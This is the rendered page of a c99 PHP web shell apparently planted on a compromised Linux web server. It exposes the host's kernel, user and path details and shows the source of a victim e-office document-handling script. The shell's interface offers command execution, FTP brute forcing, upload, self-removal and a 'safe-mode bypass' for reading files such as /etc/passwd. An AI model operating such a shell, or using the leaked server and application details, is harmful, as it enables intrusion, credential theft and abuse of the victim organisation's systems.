!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/admin/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processReceiveDocSR.php (5.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once("../../class/clsDB.php");
include_once "../global.php";
include_once "../link/function.php";
include_once "../link/functionshow.php";
include_once "funct.php";
include_once "../class/clsSendReceive.php";
include_once "../class/clsDocLineConfig.php";
include_once "../class/clsDepartment.php";
include_once "../class/clsDocType.php";
include_once "../class/clsDocuments.php";
include_once "../class/clsDocReceiveSend.php";
include_once "../class/clsRunningDoc.php";
include_once "../class/clsDocattatches.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oTsr = new sendreceive($oC);
$oTsre = new sendreceive($oC);
$oDlc = new DocLineConfig($oC);
$oDP = new Department($oC);
$oDt1 = new doctype($oC);
$oDoc = new Documents($oC);
$oRs = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRd = new runningdoc($oC);
$oDatt = new Docattatches($oC);
$oDatt2 = new Docattatches($oC);
$oDatt3 = new Docattatches($oC);
$oDatt1 = new Docattatches($oC);

$oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); 

$MaxDocGroup=$oDP->SearchMaxDocGroup();
if($p=="0"){ 
	
	$timesend=getNowDateTh()." ".date('H:i:s');
	
	$oTsr->SearchByKey($tsr_id);
	$oTsr->GetRecord();
	$oTsr->Edit();
	$oTsr->tsr_DlcID=$DlcID;
	$oTsr->tsr_personId=$oDlc->personId;
	$oTsr->tsr_receive='N';
	$oTsr->tsr_receivedate=$timesend;
	$oTsr->Save();

	echo "<meta http-equiv='refresh' content='0; URL=sendReceiveDoc_c.php?flagshow=1'>";
	
}else if($p=="1"){
		
	$flagCommit = true;
	$checkflagCommit= true;
	$oC->BeginTrans();
	
	$timesend=getNowDateTh()." ".date('H:i:s');
	
	$oTsr->SearchByKey($tsr_id);
	$oTsr->GetRecord();
	$oTsr->Edit();
	$oTsr->tsr_DlcID=$DlcID;
	$oTsr->tsr_personId=$oDlc->personId;
	$oTsr->tsr_receive='Y';
	$oTsr->tsr_receivedate=$timesend;

//echo '----------------'.$tsr_doc_url=$oTsr->tsr_doc_url;
	$tsr_doc_url=$oTsr->tsr_doc_url;
	$tsr_doc_chksum=$oTsr->tsr_doc_chksum;
	$tsr_fr_node=$oTsr->tsr_fr_node;
	$tsr_docname=$oTsr->tsr_docname;
	$tsr_statusDocAtt=$oTsr->tsr_statusDocAtt;
	$countstatusDocAtt=strlen($tsr_statusDocAtt);
	
	$checkflagCommit = $oTsr->Save();
	if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }

	$oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); 
	
	//--runing number
	$rd=ShowRunningDoc(1,$oTsr->tsr_DtID,$oDlc->deptId); 
				//--------------add documents
				$oDoc->AddNew();
				$oDoc->DocID=$oDoc->GetNextCode();
				$e=$oDoc->GetNextCode();
				$oDoc->DlcID=$DlcID;
				$oDoc->DtID=$oTsr->tsr_DtID;
				$oDoc->DslID=$oTsr->tsr_DslID;
				$oDoc->DclID=$oTsr->tsr_DclID;
				$oDoc->DsID=1;
				$oDoc->RsID=1;
				$oDoc->DocDateCreate=$timesend;
				$oDoc->DocUserCreate=$oDlc->personId;
				$oDoc->DocTypeNo=$rd;
				$oDoc->DocDate=$oTsr->tsr_DocDate;
				$oDoc->DocNo=$oTsr->tsr_DocNo;
				$oDoc->DocSubject=$oTsr->tsr_DocSubject;
				$oDoc->DocFrom=$oTsr->tsr_DocFrom;
				$oDoc->DocTo=$oTsr->tsr_DocTo;
				$oDoc->DocShortDesc=$oTsr->tsr_DocShortDesc;
				$oDoc->DocGroup=$MaxDocGroup;
				$oDoc->DocRef=$oTsr->tsr_DocRef;
				$oDoc->DocOther=$oTsr->tsr_DocOther;
				$checkflagCommit = $oDoc->Save();
				if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }	

				//---------------add DocReceiveSend
				$oRs->AddNew();
				$oRs->DrsID=$oRs->GetNextCode();
				$oRs->DocID=$e;
				$oRs->DlcID=$DlcID;
				$oRs->DsID=1;
				$oRs->personId=$oDlc->personId;
				$oRs->PtID=$oRs->PtID;
				$oRs->DrsDocTypeNo=$rd;
				$oRs->DrsReceiveDate=$timesend;
				$oRs->DrsReceivePersonId=$oDlc->personId;
				$oRs->DrsDlcIDCreate=$DlcID;
				$oRs->DrsPsIDCreate=$oDlc->personId;
				$oRs->DocGroup=$MaxDocGroup;
				$oRs->AnID=$oRs->AnID;	
				$checkflagCommit = $oRs->Save();
				if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }
				
					
				//--------update running doc
				//receiveOut
						$oRd->SearchRunningBydocGroupDtID($MaxDocGroup,$oTsr->tsr_DtID);
						$oRd->GetRecord();
						$oRd->Edit();
						$oRd->receiveNo=$rd;
						$checkflagCommit = $oRd->Save();
						if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }
				
				
				//----Get Doctmp to Documents
				$i=0;
				while($tsr_doc_url!=''){
						list($downloadurl,$tsr_doc_url)=split(',',$tsr_doc_url,2);
						list($downloadfilename,$tsr_docname)=split(',',$tsr_docname,2);
						list($downloadchksum,$tsr_doc_chksum)=split(',',$tsr_doc_chksum,2);

						$i++;
						if($countstatusDocAtt!=$i){
							$checksDocAtt = substr($tsr_statusDocAtt,$i-1,-($countstatusDocAtt-1-($i-1)));
						}else{
							$checksDocAtt = substr($tsr_statusDocAtt,$countstatusDocAtt-1);
						}
						
						if($checksDocAtt!='N'){
						
							$file_name = basename($downloadurl); 
							list($filename_,$filetype_)=split('[.]',$file_name);
							$pathfile="../documentsTmp/".$filename_.'-'.$tsr_fr_node.'.'.$filetype_; 
							$tempfile = "../documents/".$filename_.'-'.$tsr_fr_node.'.'.$filetype_; 
						
							copy($pathfile,$tempfile);
									//----search DaSeq of DocID
									$MaxDaSeq=$oDatt1->SearchMaxDaSeqDocID($oDoc->DocID);
									$oDatt->AddNew();
									$oDatt->DaID=$oDatt->GetNextCode();
									$oDatt->DocID=$oDoc->DocID;
									$oDatt->DaFileName=$downloadfilename;
									$oDatt->DaUpFileName=$filename_.'-'.$tsr_fr_node.'.'.$filetype_; 
									
									if($oDatt3->SearchByDaSeqCount0($oDoc->DocID)==0){
										$oDatt->DaSeq=$MaxDaSeq+1;
									}else{
										$oDatt->DaSeq=0;
									}
									$checkflagCommit = $oDatt->Save();
									if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }
						}
				}
				//------------------------						
	
	
	if($flagCommit)
		$oC->CommitTrans();
	else
		$oC->RollbackTrans();
	echo "<meta http-equiv='refresh' content='0; URL=regisDoc.php?RsID=1&DtID=$oTsr->tsr_DtID'>";
	
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0081 ]--